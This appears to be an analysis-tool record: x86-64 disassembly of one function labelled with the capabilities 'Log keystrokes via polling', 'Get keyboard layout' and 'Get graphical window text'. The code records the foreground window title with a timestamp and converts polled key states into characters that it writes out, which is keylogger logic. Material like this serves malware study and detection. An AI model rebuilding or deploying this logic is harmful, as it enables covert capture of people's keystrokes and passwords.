Function at 0x14001121c
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
jmp 0x14001bf40
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x748
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x13a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x768]
mov rax, qword [0x140037040]
xor rax, rbp
mov qword [rbp + 0x710], rax
lea rcx, [0x1400400fb]
call fcn.140011b72
nop
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x10]
call fcn.1400117bc
mov edx, 1
lea rcx, [rbp + 0x10]
call fcn.14001199c
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x168], 0
cmp qword [rbp + 0x128], 0
je 0x14001bfef
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rbp + 0x144], eax
mov ecx, dword [rbp + 0x144]
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x128], 0
je 0x14001c0e0
mov r8d, 0x100
lea rdx, [rbp + 0x190]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.USER32.dll_GetWindowTextA]
nop
lea rdx, [0x1400379d0]
lea rcx, [rbp + 0x190]
call fcn.140011c94
test eax, eax
je 0x14001c0e0
lea r8, [rbp + 0x190]
mov edx, 0x100
lea rcx, [0x1400379d0]
call qword [sym.imp.ucrtbased.dll_strcpy_s]
nop
xor ecx, ecx
call fcn.140023510
mov qword [rbp + 0x2e8], rax
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x2a8]
call fcn.140023350
nop
lea r9, [rbp + 0x2a8]
lea r8, str._FT_X_z
mov edx, 0x40
lea rcx, [rbp + 0x310]
call qword [sym.imp.ucrtbased.dll_strftime]
nop
lea rax, [rbp + 0x20]
lea rdx, str._n_n_Window:
mov rcx, rax
call fcn.140011122
lea rdx, [rbp + 0x190]
mov rcx, rax
call fcn.140011122
lea rdx, str.___at
mov rcx, rax
call fcn.140011122
lea rdx, [rbp + 0x310]
mov rcx, rax
call fcn.140011122
lea rdx, [0x140030ec4]
mov rcx, rax
call fcn.140011122
nop
lea rdx, [rbp + 0x638]
lea rcx, [0x1400378a0]
call fcn.1400118d9
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x700], rax
lea r8, [rbp + 0x740]
lea rdx, [rbp + 0x608]
lea rcx, [0x1400378a0]
call fcn.140011654
mov qword [rbp + 0x708], rax
mov rdx, qword [rbp + 0x700]
mov rcx, qword [rbp + 0x708]
call fcn.1400112a3
mov byte [rbp + 0x5e4], al
lea rcx, [rbp + 0x608]
call fcn.1400114ec
nop
lea rcx, [rbp + 0x638]
call fcn.1400114ec
movzx eax, byte [rbp + 0x5e4]
test eax, eax
je 0x14001c18b
lea rdx, [rbp + 0x740]
lea rcx, [0x1400378a0]
call fcn.140011c12
lea rcx, [rbp + 0x20]
mov rdx, rax
call fcn.140011a64
nop
jmp 0x14001c280
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x14001c1aa
mov dword [rbp + 0x6f4], 1
jmp 0x14001c1b4
mov dword [rbp + 0x6f4], 0
movzx eax, byte [rbp + 0x6f4]
mov byte [rbp + 0x384], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x14001c200
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x14001c200
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
je 0x14001c22e
movzx eax, byte [rbp + 0x384]
test eax, eax
jne 0x14001c217
mov dword [rbp + 0x6f4], 1
jmp 0x14001c221
mov dword [rbp + 0x6f4], 0
movzx eax, byte [rbp + 0x6f4]
mov byte [rbp + 0x384], al
mov r8, qword [rbp + 0x168]
mov edx, 2
mov ecx, dword [rbp + 0x740]
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov byte [rbp + 0x364], al
movzx eax, byte [rbp + 0x384]
test eax, eax
jne 0x14001c26c
movsx eax, byte [rbp + 0x364]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_tolower]
mov byte [rbp + 0x364], al
lea rax, [rbp + 0x20]
movzx edx, byte [rbp + 0x364]
mov rcx, rax
call fcn.1400118ac
nop
lea rdx, [rbp + 0x668]
lea rcx, [rbp + 0x10]
call fcn.140011acd
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x700], rax
mov rdx, qword [rbp + 0x700]
lea rcx, [0x1400378c0]
call fcn.140011a64
nop
lea rcx, [rbp + 0x668]
call fcn.140011203
nop
lea rcx, [0x1400378c0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
nop
lea rdx, [rbp + 0x6a8]
lea rcx, [rbp + 0x10]
call fcn.140011acd
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x700], rax
mov rdx, qword [rbp + 0x700]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011a64
nop
lea rcx, [rbp + 0x6a8]
call fcn.140011203
nop
mov dword [rbp + 0x6e4], 0
lea rcx, [rbp + 0x10]
call fcn.1400111db
mov eax, dword [rbp + 0x6e4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002f410]
call fcn.140011992
mov eax, edi
mov rcx, qword [rbp + 0x710]
xor rcx, rbp
call fcn.140011573
lea rsp, [rbp + 0x728]
pop rdi
pop rbp
ret